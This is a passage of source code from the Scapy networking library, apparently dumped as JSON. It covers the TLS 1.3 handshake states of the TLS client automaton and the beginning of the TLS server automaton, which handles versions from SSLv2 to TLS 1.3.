self.advertised_tls_version:\n            self.vprint(\"No supported_versions found in TLS 1.3 Hello Retry Request!\")\n            raise self.CLOSE_NOTIFY()\n\n        self.tls13_should_add_ClientHello()\n\n    @ATMT.state()\n    def TLS13_HANDLED_SERVERHELLO(self):\n        pass\n\n    @ATMT.condition(TLS13_HANDLED_SERVERHELLO, prio=1)\n    def tls13_should_handle_encrytpedExtensions(self):\n        self.raise_on_packet(TLSEncryptedExtensions,\n                             self.TLS13_HANDLED_ENCRYPTEDEXTENSIONS)\n\n    @ATMT.condition(TLS13_HANDLED_SERVERHELLO, prio=2)\n    def tls13_should_handle_ChangeCipherSpec(self):\n        self.raise_on_packet(TLSChangeCipherSpec,\n                             self.TLS13_HANDLED_CHANGE_CIPHER_SPEC)\n\n    @ATMT.state()\n    def TLS13_HANDLED_CHANGE_CIPHER_SPEC(self):\n        self.cur_session.middlebox_compatibility = True\n        raise self.TLS13_HANDLED_SERVERHELLO()\n\n    @ATMT.condition(TLS13_HANDLED_SERVERHELLO, prio=3)\n    def tls13_missing_encryptedExtension(self):\n        self.vprint(\"Missing TLS 1.3 EncryptedExtensions message!\")\n        raise self.CLOSE_NOTIFY()\n\n    @ATMT.state()\n    def TLS13_HANDLED_ENCRYPTEDEXTENSIONS(self):\n        pass\n\n    @ATMT.condition(TLS13_HANDLED_ENCRYPTEDEXTENSIONS, prio=1)\n    def tls13_should_handle_certificateRequest_from_encryptedExtensions(self):\n        \"\"\"\n        XXX We should check the CertificateRequest attributes for discrepancies\n        with the cipher suite, etc.\n        \"\"\"\n        self.raise_on_packet(TLS13CertificateRequest,\n                             self.TLS13_HANDLED_CERTIFICATEREQUEST)\n\n    @ATMT.condition(TLS13_HANDLED_ENCRYPTEDEXTENSIONS, prio=2)\n    def tls13_should_handle_certificate_from_encryptedExtensions(self):\n        self.tls13_should_handle_Certificate()\n\n    @ATMT.condition(TLS13_HANDLED_ENCRYPTEDEXTENSIONS, prio=3)\n    def tls13_should_handle_finished_from_encryptedExtensions(self):\n        if self.cur_session.tls13_psk_secret:\n            self.raise_on_packet(TLSFinished,\n                                 self.TLS13_HANDLED_FINISHED)\n\n    @ATMT.state()\n    def TLS13_HANDLED_CERTIFICATEREQUEST(self):\n        pass\n\n    @ATMT.condition(TLS13_HANDLED_CERTIFICATEREQUEST, prio=1)\n    def tls13_should_handle_Certificate_from_CertificateRequest(self):\n        return self.tls13_should_handle_Certificate()\n\n    def tls13_should_handle_Certificate(self):\n        self.raise_on_packet(TLS13Certificate,\n                             self.TLS13_HANDLED_CERTIFICATE)\n\n    @ATMT.state()\n    def TLS13_HANDLED_CERTIFICATE(self):\n        pass\n\n    @ATMT.condition(TLS13_HANDLED_CERTIFICATE, prio=1)\n    def tls13_should_handle_CertificateVerify(self):\n        self.raise_on_packet(TLSCertificateVerify,\n                             self.TLS13_HANDLED_CERTIFICATE_VERIFY)\n\n    @ATMT.condition(TLS13_HANDLED_CERTIFICATE, prio=2)\n    def tls13_missing_CertificateVerify(self):\n        self.vprint(\"Missing TLS 1.3 CertificateVerify message!\")\n        raise self.CLOSE_NOTIFY()\n\n    @ATMT.state()\n    def TLS13_HANDLED_CERTIFICATE_VERIFY(self):\n        pass\n\n    @ATMT.condition(TLS13_HANDLED_CERTIFICATE_VERIFY, prio=1)\n    def tls13_should_handle_finished(self):\n        self.raise_on_packet(TLSFinished,\n                             self.TLS13_HANDLED_FINISHED)\n\n    @ATMT.state()\n    def TLS13_HANDLED_FINISHED(self):\n        raise self.TLS13_PREPARE_CLIENTFLIGHT2()\n\n    @ATMT.state()\n    def TLS13_PREPARE_CLIENTFLIGHT2(self):\n        if self.cur_session.middlebox_compatibility:\n            self.add_record(is_tls12=True)\n            self.add_msg(TLSChangeCipherSpec())\n        self.add_record(is_tls13=True)\n\n    @ATMT.condition(TLS13_PREPARE_CLIENTFLIGHT2, prio=1)\n    def tls13_should_add_ClientCertificate(self):\n        \"\"\"\n        If the server sent a CertificateRequest, we send a Certificate message.\n        If no certificate is available, an empty Certificate message is sent:\n        - this is a SHOULD in RFC 4346 (Section 7.4.6)\n        - this is a MUST in RFC 5246 (Section 7.4.6)\n\n        XXX We may want to add a complete chain.\n        \"\"\"\n        if not (isinstance(self.cur_pkt, TLS13CertificateRequest) or\n                self.in_handshake(TLS13CertificateRequest)):\n            return\n\n        certs = []\n        if self.mycert:\n            certs += _ASN1CertAndExt(cert=self.mycert)\n\n        self.add_msg(\n            TLS13Certificate(\n                certs=certs,\n                cert_req_ctxt=self.cur_session.tls13_cert_req_ctxt,\n            )\n        )\n        raise self.TLS13_ADDED_CLIENTCERTIFICATE()\n\n    @ATMT.state()\n    def TLS13_ADDED_CLIENTCERTIFICATE(self):\n        pass\n\n    @ATMT.condition(TLS13_ADDED_CLIENTCERTIFICATE, prio=0)\n    def tls13_should_skip_ClientCertificateVerify(self):\n        if not self.mycert:\n            return self.tls13_should_add_ClientFinished()\n\n    @ATMT.condition(TLS13_ADDED_CLIENTCERTIFICATE, prio=1)\n    def tls13_should_add_ClientCertificateVerify(self):\n        \"\"\"\n        XXX Section 7.4.7.1 of RFC 5246 states that the CertificateVerify\n        message is only sent following a client certificate that has signing\n        capability (i.e. not those containing fixed DH params).\n        We should verify that before adding the message. We should also handle\n        the case when the Certificate message was empty.\n        \"\"\"\n        self.add_msg(TLSCertificateVerify())\n        raise self.TLS13_ADDED_CERTIFICATEVERIFY()\n\n    @ATMT.state()\n    def TLS13_ADDED_CERTIFICATEVERIFY(self):\n        return self.tls13_should_add_ClientFinished()\n\n    @ATMT.condition(TLS13_PREPARE_CLIENTFLIGHT2, prio=2)\n    def tls13_should_add_ClientFinished(self):\n        self.add_msg(TLSFinished())\n        raise self.TLS13_ADDED_CLIENTFINISHED()\n\n    @ATMT.state()\n    def TLS13_ADDED_CLIENTFINISHED(self):\n        pass\n\n    @ATMT.condition(TLS13_ADDED_CLIENTFINISHED)\n    def tls13_should_send_ClientFlight2(self):\n        self.flush_records()\n        raise self.TLS13_SENT_CLIENTFLIGHT2()\n\n    @ATMT.state()\n    def TLS13_SENT_CLIENTFLIGHT2(self):\n        if self.tls13_doing_client_postauth:\n            self.tls13_doing_client_postauth = False\n            self.vprint(\"TLS 1.3 post-handshake authentication sent!\")\n            raise self.WAIT_CLIENTDATA()\n        self.vprint(\"TLS 1.3 handshake completed!\")\n        self.vprint_sessioninfo()\n        self.vprint(\"You may send data or use 'quit'.\")\n        raise self.WAIT_CLIENTDATA()\n\n    @ATMT.state()\n    def SOCKET_CLOSED(self):\n        raise self.FINAL()\n\n    @ATMT.state(stop=True)\n    def STOP(self):\n        # Called on atmt.stop()\n        if self.cur_session.advertised_tls_version in [0x0200, 0x0002]:\n            raise self.SSLv2_CLOSE_NOTIFY()\n        else:\n            raise self.CLOSE_NOTIFY()\n\n    @ATMT.state(final=True)\n    def FINAL(self):\n        # We might call shutdown, but it may happen that the server\n        # did not wait for us to shutdown after answering our data query.\n        # self.socket.shutdown(1)\n        self.vprint(\"Closing client socket...\")\n        self.socket.close()\n        self.vprint(\"Ending TLS client automaton.\")\n"
  },
  {
    "path": "scapy/layers/tls/automaton_srv.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016, 2017 Maxence Tury\n#               2019 Romain Perez\n\n\"\"\"\nTLS server automaton. This makes for a primitive TLS stack.\nObviously you need rights for network access.\n\nWe support versions SSLv2 to TLS 1.3, along with many features.\n\nIn order to run a server listening on tcp/4433::\n\n    from scapy.layers.tls import *\n    t = TLSServerAutomaton(mycert='<cert.pem>', mykey='<key.pem>')\n    t.run()\n\"\"\"\n\nimport socket\nimport binascii\nimport struct\nimport time\n\nfrom scapy.config import conf\nfrom scapy.packet import Raw\nfrom scapy.pton_ntop import inet_pton\nfrom scapy.utils import get_temp_file, randstring, repr_hex\nfrom scapy.automaton import ATMT\nfrom scapy.error import warning\nfrom scapy.layers.tls.automaton import _TLSAutomaton\nfrom scapy.layers.tls.cert import PrivKeyRSA, PrivKeyECDSA, PrivKeyEdDSA\nfrom scapy.layers.tls.basefields import _tls_version\nfrom scapy.layers.tls.session import tlsSession\nfrom scapy.layers.tls.crypto.groups import _tls_named_groups\nfrom scapy.layers.tls.extensions import (\n    TLS_Ext_Cookie,\n    TLS_Ext_EarlyDataIndicationTicket,\n    TLS_Ext_PSKKeyExchangeModes,\n    TLS_Ext_RenegotiationInfo,\n    TLS_Ext_SignatureAlgorithms,\n    TLS_Ext_SupportedGroups,\n    TLS_Ext_SupportedVersion_SH,\n)\nfrom scapy.layers.tls.keyexchange import _tls_hash_sig\nfrom scapy.layers.tls.keyexchange_tls13 import (\n    TLS_Ext_KeyShare_SH,\n    KeyShareEntry,\n    TLS_Ext_KeyShare_HRR,\n    TLS_Ext_PreSharedKey_CH,\n    TLS_Ext_PreSharedKey_SH,\n    get_usable_tls13_sigalgs,\n)\nfrom scapy.layers.tls.handshake import TLSCertificate, TLSCertificateRequest, \\\n    TLSCertificateVerify, TLSClientHello, TLSClientKeyExchange, TLSFinished, \\\n    TLSServerHello, TLSServerHelloDone, TLSServerKeyExchange, \\\n    _ASN1CertAndExt, TLS13ServerHello, TLS13Certificate, TLS13ClientHello, \\\n    TLSEncryptedExtensions, TLS13HelloRetryRequest, TLS13CertificateRequest, \\\n    TLS13KeyUpdate, TLS13NewSessionTicket\nfrom scapy.layers.tls.handshake_sslv2 import SSLv2ClientCertificate, \\\n    SSLv2ClientFinished, SSLv2ClientHello, SSLv2ClientMasterKey, \\\n    SSLv2RequestCertificate, SSLv2ServerFinished, SSLv2ServerHello, \\\n    SSLv2ServerVerify\nfrom scapy.layers.tls.record import TLSAlert, TLSChangeCipherSpec, \\\n    TLSApplicationData\nfrom scapy.layers.tls.record_tls13 import TLS13\nfrom scapy.layers.tls.crypto.hkdf import TLS13_HKDF\nfrom scapy.layers.tls.crypto.suites import (\n    _tls_cipher_suites_cls,\n    _tls_cipher_suites,\n    get_usable_ciphersuites,\n)\n\n# Typing imports\nfrom typing import (\n    Optional,\n    Union,\n)\n\nif conf.crypto_valid:\n    from cryptography.hazmat.backends import default_backend\n    from cryptography.hazmat.primitives import hashes\n\n\nclass TLSServerAutomaton(_TLSAutomaton):\n    \"\"\"\n    A simple TLS test server automaton. Try to overload some states or\n    conditions and see what happens on the other side.\n\n    Because of socket and automaton limitations, for now, the best way to\n    interrupt the server is by sending him 'stop_server'. Interruptions with\n    Ctrl-Z should work, but this might leave a loose listening socket behind.\n\n    In case the server receives a TLSAlert (whatever its type), or a 'goodbye'\n    message in a SSLv2 version, he will close the client session with a\n    similar message, and start waiting for new client connections.\n\n    _'mycert' and 'mykey' may be provided as filenames. They are needed for any\n    server authenticated handshake.\n    _'preferred_ciphersuite' allows the automaton to choose a cipher suite when\n    offered in the ClientHello. If absent, another one will be chosen.\n    _'client_auth' means the client has to provide a certificate.\n    _'is_echo_server' means that everything received will be sent back.\n    _'max_client_idle_time' is the maximum silence duration from the client.\n    Once this limit has been reached, the client (if still here) is dropped,\n    and we wait for a new connection.\n    \"\"\"\n\n    def parse_args(self, server=\"127.0.0.1\", sport=4433,\n                   mycert=None, mykey=None,\n                   preferred_ciphersuite: Optional[int] = None,\n                   preferred_signature_algorithm: Union[str, int, None] = None,\n                   client_auth=False,\n                   is_echo_server=True,\n                   max_client_idle_time=60,\n                   handle_session_ticket=None,\n                   session_ticket_file=None,\n                   curve=None,\n                   cookie=False,\n                   psk=None,\n                   psk_mode=None,\n                   **kargs):\n\n        super(TLSServerAutomaton, self).parse_args(mycert=mycert,\n                                                   mykey=mykey,\n                                                   **kargs)\n        try:\n            if ':' in server:\n                inet_pton(socket.AF_INET6, server)\n            else:\n                inet_pton(socket.AF_INET, server)\n            tmp = socket.getaddrinfo(server, sport)\n        except Exception:\n            tmp = socket.getaddrinfo(socket.getfqdn(server), sport)\n\n        self.serversocket = None\n        self.ip_family = tmp[0][0]\n        self.local_ip = tmp[0][4][0]\n        self.local_port = sport\n        self.remote_ip = None\n        self.remote_port = None\n\n        self.client_auth = client_auth\n        self.is_echo_server = is_echo_server\n        self.max_client_idle_time = max_client_idle_time\n        self.curve = None\n        self.preferred_ciphersuite = None\n        self.preferred_signature_algorithm = None\n        self.cookie = cookie\n        self.psk_secret = psk\n        self.psk_mode = psk_mode\n\n        if handle_session_ticket is None:\n            handle_session_ticket = session_ticket_file is not None\n        if handle_session_ticket:\n            session_ticket_file = session_ticket_file or get_temp_file()\n        self.handle_session_ticket = handle_session_ticket\n        self.session_ticket_file = session_ticket_file\n\n        if preferred_ciphersuite is not None:\n            if preferred_ciphersuite in _tls_cipher_suites:\n                self.preferred_ciphersuite = preferred_ciphersuite\n            else:\n                self.vprint(\"Unrecognized cipher suite.\")\n\n        if preferred_signature_algorithm is not None:\n            if preferred_signature_algorithm in _tls_hash_sig:\n                self.preferred_signature_algorithm = preferred_signature_algorithm\n            else:\n                for (sig_id, nc) in _tls_hash_sig.items():\n                    if nc == preferred_signature_algorithm:\n                        self.preferred_signature_algorithm = sig_id\n                        break\n                else:\n                    self.vprint(\"Unrecognized signature algorithm.\")\n\n        if curve:\n            for (group_id, ng) in _tls_named_groups.items():\n                if ng == curve:\n                    self.curve = group_id\n                    break\n            else:\n                self.vprint(\"Unrecognized curve.\")\n\n    def vprint_sessioninfo(self):\n        if self.verbose:\n            s = self.cur_session\n            v = _tls_version[s.tls_version]\n            self.vprint(\"Version            : %s\" % v)\n            cs = s.wcs.ciphersuite.name\n            self.vprint(\"Cipher suite       : %s\" % cs)\n            kx_groupname = s.kx_group\n            self.vprint(\"Server temp key    : %s\" % kx_groupname)\n            if s.tls_version >= 0x0304:\n                sigalg = _tls_hash_sig[s.selected_sig_alg]\n                self.vprint(\"Negotiated sig_alg : %s\" % sigalg)\n            if s.tls_version < 0x0304:\n                ms = s.master_secret\n            else:\n                ms = s.tls13_master_secret\n            self.vprint(\"Master secret      : %s\" % repr_hex(ms))\n            if s.client_certs:\n                self.vprint(\"Client certificate chain: %r\" % s.client_certs)\n\n            if s.tls_version >= 0x0304:\n                res_secret = s.tls13_derived_secrets[\"resumption_secret\"]\n                self.vprint(\"Resumption master secret : %s\" %\n                            repr_hex(res_secret))\n            self.vprint()\n\n    def http_sessioninfo(self):\n        header = \"HTTP/1.1 200 OK\\r\\n\"\n        header += \"Server: Scapy TLS Extension\\r\\n\"\n        header += \"Content-type: text/html\\r\\n\"\n        header += \"Content-length: %d\\r\\n\\r\\n\"\n        s = \"----- Scapy TLS Server Automaton -----\\n\\n\"\n        s += \"Information on current TLS session:\\n\\n\"\n        s += \"Local end     : %s:%d\\n\" % (self.local_ip, self.local_port)\n        s += \"Remote end    : %s:%d\\n\" % (self.remote_ip, self.remote_port)\n        v = _tls_version[self.cur_session.tls_version]\n        s += \"Version       : %s\\n\" % v\n        cs = self.cur_session.wcs.ciphersuite.name\n        s += \"Cipher suite  : %s\\n\" % cs\n        if self.cur_session.tls_version < 0x0304:\n            ms = self.cur_session.master_secret\n        else:\n            ms = self.cur_session.tls13_master_secret\n\n        s += \"Master secret : %s\\n\" % repr_hex(ms)\n        body = \"<html><body><pre>%s</pre></body></html>\\r\\n\\r\\n\" % s\n        answer = (header + body) % len(body)\n        return answer\n\n    @ATMT.state(initial=True)\n    def INITIAL(self):\n        self.vprint(\"Starting TLS server automaton.\")\n        self.vprint(\"Receiving 'stop_server' will cause a graceful exit.\")\n        self.vprint(\"Interrupting with Ctrl-Z might leave a loose socket hanging.\")  # noqa: E501\n        raise self.BIND()\n\n    @ATMT.state()\n    def BIND(self):\n        s = socket.socket(self.ip_family, socket.SOCK_STREAM)\n        self.serversocket = s\n        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        try:\n            s.bind((self.local_ip, self.local_port))\n            s.listen(1)\n        except Exception as e:\n            m = \"Unable to bind on %s:%d! (%s)\" % (\n                self.local_ip,\n                self.local_port,\n                e\n            )\n            self.vprint()\n            self.vprint(m)\n            self.vprint(\"Maybe some server is already listening there?\")\n            self.vprint()\n            raise self.FINAL()\n        raise self.WAITING_CLIENT()\n\n    @ATMT.state()\n    def SOCKET_CLOSED(self):\n        self.socket.close()\n        raise self.WAITING_CLIENT()\n\n    @ATMT.state()\n    def WAITING_CLIENT(self):\n        self.buffer_out = []\n        self.buffer_in = []\n        self.vprint()\n        self.vprint(\"Waiting for a new client on %s:%d\" % (self.local_ip,\n                                                           self.local_port))\n        self.socket, addr = self.serversocket.accept()\n        if not isinstance(addr, tuple):\n            addr = self.socket.getpeername()\n        if len(addr) > 2:\n            addr = (addr[0], addr[1])\n        self.remote_ip, self.remote_port = addr\n        self.vprint(\"Accepted connection from %s:%d\" % (self.remote_ip,\n                                                        self.remote_port))\n        self.vprint()\n        raise self.INIT_TLS_SESSION()\n\n    @ATMT.state()\n    def INIT_TLS_SESSION(self):\n        \"\"\"\n        XXX We should offer the right key according to the client's suites. For\n        now server_rsa_key is only used for RSAkx, but we should try to replace\n        every server_key with both server_rsa_key and server_ecdsa_key.\n        \"\"\"\n        self.cur_session = tlsSession(connection_end=\"server\")\n        self.cur_session.server_certs = [self.mycert]\n        self.cur_session.server_key = self.mykey\n        if isinstance(self.mykey, PrivKeyRSA):\n            self.cur_session.server_rsa_key = self.mykey\n        # elif isinstance(self.mykey, PrivKeyECDSA):\n        #    self.cur_session.server_ecdsa_key = self.mykey\n        raise self.WAITING_CLIENTFLIGHT1()\n\n    @ATMT.state()\n    def WAITING_CLIENTFLIGHT1(self):\n        self.get_next_msg()\n        raise self.RECEIVED_CLIENTFLIGHT1()\n\n    @ATMT.state()\n    def RECEIVED_CLIENTFLIGHT1(self):\n        pass\n\n    #                           TLS handshake                                 #\n\n    @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=1)\n    def tls13_should_handle_ClientHello(self):\n        self.raise_on_packet(TLS13ClientHello,\n                             self.tls13_HANDLED_CLIENTHELLO)\n        if self.cur_session.advertised_tls_version == 0x0304:\n            self.raise_on_packet(TLSClientHello,\n                                 self.tls13_HANDLED_CLIENTHELLO)\n\n    @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=2)\n    def should_handle_ClientHello(self):\n        self.raise_on_packet(TLSClientHello,\n                             self.HANDLED_CLIENTHELLO)\n\n    @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=3)\n    def tls13_should_handle_ChangeCipherSpec_after_tls13_retry(self):\n        # Middlebox compatibility mode after a HelloRetryRequest.\n        if self.cur_session.tls13_retry:\n            self.raise_on_packet(TLSChangeCipherSpec,\n                                 self.RECEIVED_CLIENTFLIGHT1)\n\n    @ATMT.state()\n    def HANDLED_CLIENTHELLO(self):\n        \"\"\"\n        We extract cipher suites candidates from the client's proposition.\n        \"\"\"\n        if isinstance(self.mykey, PrivKeyRSA):\n            kx = \"RSA\"\n        elif isinstance(self.mykey, PrivKeyECDSA):\n            kx = \"ECDSA\"\n        elif isinstance(self.mykey, PrivKeyEdDSA):\n            kx = \"\"\n        if get_usable_ciphersuites(self.cur_pkt.ciphers, kx):\n            raise self.PREPARE_SERVERFLIGHT1()\n        raise self.NO_USABLE_CIPHERSUITE()\n\n    @ATMT.state()\n    def NO_USABLE_CIPHERSUITE(self):\n        self.vprint(\"No usable cipher suite!\")\n        raise self.CLOSE_NOTIFY()\n\n    @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=3)\n    def missing_ClientHello(self):\n        raise self.MISSING_CLIENTHELLO()\n\n    @ATMT.state(final=True)\n    def MISSING_CLIENTHELLO(self):\n        self.vprint(\"Missing ClientHello message!\")\n        raise self.CLOSE_NOTIFY()\n\n    @ATMT.state()\n    def PREPARE_SERVERFLIGHT1(self):\n        self.add_record()\n\n    @ATMT.condition(PREPARE_SERVERFLIGHT1)\n    def should_add_ServerHello(self):\n        \"\"\"\n        Selecting a cipher suite should be no trouble as we already caught\n        the None case previously.\n        \"\"\"\n        if isinstance(self.mykey, PrivKeyRSA):\n            kx = \"RSA\"\n        elif isinstance(self.mykey, PrivKeyECDSA):\n            kx = \"ECDSA\"\n        elif isinstance(self.mykey, PrivKeyEdDSA):\n            kx = \"\"\n        usable_suites = get_usable_ciphersuites(self.cur_pkt.ciphers, kx)\n        c = usable_suites[0]\n        if self.preferred_ciphersuite in usable_suites:\n            c = self.preferred_ciphersuite\n\n        # Some extensions\n        ext = [TLS_Ext_RenegotiationInfo()]\n\n        self.add_msg(TLSServerHello(cipher=c, ext=ext))\n        raise self.ADDED_SERVERHELLO()\n\n    @ATMT.state()\n    def ADDED_SERVERHELLO(self):\n        pass\n\n    @ATMT.condition(ADDED_SERVERHELLO)\n    def should_add_Certificate(self):\n        c = self.buffer_out[-1].msg[0].cipher\n        if not _tls_cipher_suites_cls[c].kx_alg.anonymous:\n            self.add_msg(TLSCertificate(certs=self.cur_session.server_certs))\n        raise self.ADDED_CERTIFICATE()\n\n    @ATMT.state()\n    def ADDED_CERTIFICATE(self):\n        pass\n\n    @ATMT.condition(ADDED_CERTIFICATE)\n    def should_add_ServerKeyExchange(self):\n        c = self.buffer_out[-1].msg[0].cipher\n        if not _tls_cipher_suites_cls[c].kx_alg.no_ske:\n            self.add_msg(TLSServerKeyExchange())\n        raise self.ADDED_SERVERKEYEXCHANGE()\n\n    @ATMT.state()\n    def ADDED_SERVERKEYEXCHANGE(self):\n        pass\n\n    @ATMT.condition(ADDED_SERVERKEYEXCHANGE)\n    def should_add_CertificateRequest(self):\n        if self.client_auth:\n            self.add_msg(TLSCertificateRequest())\n        raise self.ADDED_CERTIFICATEREQUEST()\n\n    @ATMT.state()\n    def ADDED_CERTIFICATEREQUEST(self):\n        pass\n\n    @ATMT.condition(ADDED_CERTIFICATEREQUEST)\n    def should_add_ServerHelloDone(self):\n        self.add_msg(TLSServerHelloDone())\n        raise self.ADDED_SERVERHELLODONE()\n\n    @ATMT.state()\n    def ADDED_SERVERHELLODONE(self):\n        pass\n\n    @ATMT.condition(ADDED_SERVERHELLODONE)\n    def should_send_ServerFlight1(self):\n        self.flush_records()\n        raise self.WAITING_CLIENTFLIGHT2()\n\n    @ATMT.state()\n    def WAITING_CLIENTFLIGHT2(self):\n        self.get_next_msg()\n        raise self.RECEIVED_CLIENTFLIGHT2()\n\n    @ATMT.state()\n    def RECEIVED_CLIENTFLIGHT2(self):\n        pass\n\n    @ATMT.condition(RECEIVED_CLIENTFLIGHT2, prio=1)\n    def should_handle_ClientCertificate(self):\n        self.raise_on_packet(TLSCertificate,\n                             self.HANDLED_CLIENTCERTIFICATE)\n\n    @ATMT.condition(RECEIVED_CLIENTFLIGHT2, prio=2)\n    def no_ClientCertificate(self):\n        if self.client_auth:\n            raise self.MISSING_CLIENTCERTIFICATE()\n        raise self.HANDLED_CLIENTCERTIFICATE()\n\n    @ATMT.state()\n    def MISSING_CLIENTCERTIFICATE(self):\n        self.vprint(\"Missing ClientCertificate!\")\n        raise self.CLOSE_NOTIFY()\n\n    @ATMT.state()\n    def HANDLED_CLIENTCERTIFICATE(self):\n        if self.client_auth:\n            self.vprint(\"Received client certificate chain...\")\n\n    @ATMT.condition(HANDLED_CLIENTCERTIFICATE, prio=1)\n    def should_handle_ClientKeyExchange(self):\n        self.raise_on_packet(TLSClientKeyExchange,\n                             self.HANDLED_CLIENTKEYEXCHANGE)\n\n    @ATMT.state()\n    def HANDLED_CLIENTKEYEXCHANGE(self):\n        pass\n\n    @ATMT.condition(HANDLED_CLIENTCERTIFICATE, prio=2)\n    def should_handle_Alert_from_ClientCertificate(self):\n        self.raise_on_packet(TLSAlert,\n                             self.HANDLED_ALERT_FROM_CLIENTCERTIFICATE)\n\n    @ATMT.state()\n    def HANDLED_ALERT_FROM_CLIENTCERTIFICATE(self):\n        self.vprint(\"Received Alert message instead of ClientKeyExchange!\")\n        self.vprint(self.cur_pkt.mysummary())\n        raise self.CLOSE_NOTIFY()\n\n    @ATMT.condition(HANDLED_CLIENTCERTIFICATE, prio=3)\n    def missing_ClientKeyExchange(self):\n        raise self.MISSING_CLIENTKEYEXCHANGE()\n\n    @ATMT.state()\n    def MISSING_CLIENTKEYEXCHANGE(self):\n        self.vprint(\"Missing ClientKeyExchange!\")\n        raise self.CLOSE_NOTIFY()\n\n    @ATMT.condition(HANDLED_CLIENTKEYEXCHANGE, prio=1)\n    def should_handle_CertificateVerify(self):\n        self.raise_on_packet(TLSCertificateVerify,\n                             self.HANDLED_CERTIFICATEVERIFY)\n\n    @ATMT.condition(HANDLED_CLIENTKEYEXCHANGE, prio=2)\n    def no_CertificateVerify(self):\n        if self.client_auth:\n            raise self.MISSING_CERTIFICATEVERIFY()\n        raise self.HANDLED_CERTIFICATEVERIFY()\n\n    @ATMT.state()\n    def MISSING_CERTIFICATEVERIFY(self):\n        self.vprint(\"Missing CertificateVerify!\")\n        raise self.CLOSE_NOTIFY()\n\n    @ATMT.state()\n    def HANDLED_CERTIFICATEVERIFY(self):\n        pass\n\n    @ATMT.condition(HANDLED_CERTIFICATEVERIFY, prio=1)\n    def should_handle_ChangeCipherSpec(self):\n        self.raise_on_packet(TLSChangeCipherSpec,\n                             self.HANDLED_CHANGECIPHERSPEC)\n\n    @ATMT.state()\n    def HANDLED_CHANGECIPHERSPEC(self):\n        pass\n\n    @ATMT.condition(HANDLED_CERTIFICATEVERIFY, prio=2)\n    def should_handle_Alert_from_ClientKeyExchange(self):\n        self.raise_on_packet(TLSAlert,\n                             self.HANDLED_ALERT_FROM_CLIENTKEYEXCHANGE)\n\n    @ATMT.state()\n    def HANDLED_ALERT_FROM_CLIENTKEYEXCHANGE(self):\n        self.vprint(\"Received Alert message instead of ChangeCipherSpec!\")\n        self.vprint(self.cur_pkt.mysummary())\n        raise self.CLOSE_NOTIFY()\n\n    @ATMT.condition(HANDLED_CERTIFICATEVERIFY, prio=3)\n    def missing_ChangeCipherSpec(self):\n        raise self.MISSING_CHANGECIPHERSPEC()\n\n    @ATMT.state()\n    def MISSING_CHANGECIPHERSPEC(self):\n        self.vprint(\"Missing ChangeCipherSpec!\")\n        raise self.CLOSE_NOTIFY()\n\n    @ATMT.condition(HANDLED_CHANGECIPHERSPEC, prio=1)\n    def should_handle_ClientFinished(self):\n        self.raise_on_packet(TLSFinished,\n                             self.HANDLED_CLIENTFINISHED)\n\n    @ATMT.state()\n    def HANDLED_CLIENTFINISHED(self):\n        raise self.PREPARE_SERVERFLIGHT2()\n\n    @ATMT.condition(HANDLED_CHANGECIPHERSPEC, prio=2)\n    def should_handle_Alert_from_ClientFinished(self):\n        self.raise_on_packet(TLSAlert,\n                             self.HANDLED_ALERT_FROM_CHANGECIPHERSPEC)\n\n    @ATMT.state()\n    def HANDLED_ALERT_FROM_CHANGECIPHERSPEC(self):\n        self.vprint(\"Received Alert message instead of Finished!\")\n        raise self.CLOSE_NOTIFY()\n\n    @ATMT.condition(HANDLED_CHANGECIPHERSPEC, prio=3)\n    def missing_ClientFinished(self):\n        raise self.MISSING_CLIENTFINISHED()\n\n    @ATMT.state()\n    def MISSING_CLIENTFINISHED(self):\n        self.vprint(\"Missing Finished!\")\n        raise self.CLOSE_NOTIFY()\n\n    @ATMT.state()\n    def PREPARE_SERVERFLIGHT2(self):\n        self.add_record()\n\n    @ATMT.condition(PREPARE_SERVERFLIGHT2)\n    def should_add_ChangeCipherSpec(self):\n        self.add_msg(TLSChangeCipherSpec())\n        raise self.ADDED_CHANGECIPHERSPEC()\n\n    @ATMT.state()\n    def ADDED_CHANGECIPHERSPEC(self):\n        pass\n\n    @ATMT.condition(ADDED_CHANGECIPHERSPEC)\n    def should_add_ServerFinished(self):\n        self.add_record()\n        self.add_msg(TLSFinished())\n        raise self.ADDED_SERVERFINISHED()\n\n    @ATMT.state()\n    def ADDED_SERVERFINISHED(self):\n        pass\n\n    @ATMT.condition(ADDED_SERVERFINISHED)\n    def should_send_ServerFlight2(self):\n        self.flush_records()\n        raise self.SENT_SERVERFLIGHT2()\n\n    @ATMT.state()\n    def SENT_SERVERFLIGHT2(self):\n        self.vprint(\"TLS handshake completed!\")\n        self.vprint_sessioninfo()\n        if self.is_echo_server:\n            self.vprint(\"Will now act as a simple echo server.\")\n        raise self.WAITING_CLIENTDATA()\n\n    #                       end of TLS handshake                              #\n\n    #                       TLS 1.3 handshake                                 #\n    @ATMT.state()\n    def tls13_HANDLED_CLIENTHELLO(self):\n        \"\"\"\n          Check if we have to send an HelloRetryRequest\n          XXX check also with non ECC groups\n        \"\"\"\n        s = self.cur_session\n        m = s.handshake_messages_parsed[-1]\n        #  Check if we have to send an HelloRetryRequest\n        #  XXX check also with non ECC groups\n        if self.curve:\n            # We first look for a KeyShareEntry with same group as self.curve\n            if not _tls_named_groups[self.curve] in s.tls13_client_pubshares:\n                # We then check if self.curve was advertised in SupportedGroups\n                # extension\n                for e in m.ext:\n                    if isinstance(e, TLS_Ext_SupportedGroups):\n                        if self.curve in e.groups:\n                            # Here, we need to send an HelloRetryRequest\n                            raise self.tls13_PREPARE_HELLORETRYREQUEST()\n\n        # Signature Algorithms extension is mandatory\n        if not s.advertised_sig_algs:\n            self.vprint(\"Missing signature_algorithms extension in ClientHello!\")\n            raise self.CLOSE_NOTIFY()\n\n        raise self.tls13_PREPARE_SERVERFLIGHT1()\n\n    @ATMT.state()\n    def tls13_PREPARE_HELLORETRYREQUEST(self):\n        pass\n\n    @ATMT.condition(tls13_PREPARE_HELLORETRYREQUEST)\n    def tls13_should_add_HelloRetryRequest(self):\n        self.add_record(is_tls13=False)\n        if isinstance(self.mykey, PrivKeyRSA):\n            kx = \"RSA\"\n        elif isinstance(self.mykey, PrivKeyECDSA):\n            kx = 